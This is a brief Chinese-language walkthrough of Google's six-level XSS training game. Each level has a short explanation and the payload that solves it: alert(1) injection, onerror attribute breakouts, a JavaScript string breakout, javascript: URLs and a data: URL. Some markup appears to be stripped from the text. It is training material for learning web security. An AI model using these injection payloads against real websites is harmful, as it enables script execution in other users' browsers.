XSS game (xss-game.appspot.com)

这是一款谷歌的 XSS 游戏,总共有 6 个级别

Level 1

无需转义,直接编辑 URL 栏或者搜索框中都可以执行

alert(1)

Level 2

留言板中放入alert(1)发现不弹窗,说明 标签不起作用,转译成了HTML实体,可以选择其他能够触发 JavaScript 代码的命令

// 标签与属性一起使用,onerror 事件会在文档或图像加载过程中发生错误时被触发。

Level 3

// 查看源代码function chooseTab(num) {        // Dynamically load the appropriate image.        var html = "Image " + parseInt(num) + "
"; html += ""; $('#tabContent').html(html);
// 用 ' 闭合 src 属性,用 /> 闭合 img 标签' onerror='alert(1)'/>

Level 4

// 闭合 startTimer() 函数,用 , 连接写入 alert() 方法// onload 事件在图片加载完成后立即执行100'),alert('1

Level 5

// 这是基于 DOM 的 XSS,在邮件中插入javascript:alert(1)// 插入后

Level 6

Data URL – HTTP | MDN (mozilla.org)

在浏览器中,有一些用于访问资源或脚本的协议,称作伪协议

data 伪协议

// Data URL,允许内容创建者向文档中嵌入小文件data:text/javascript,alert(1)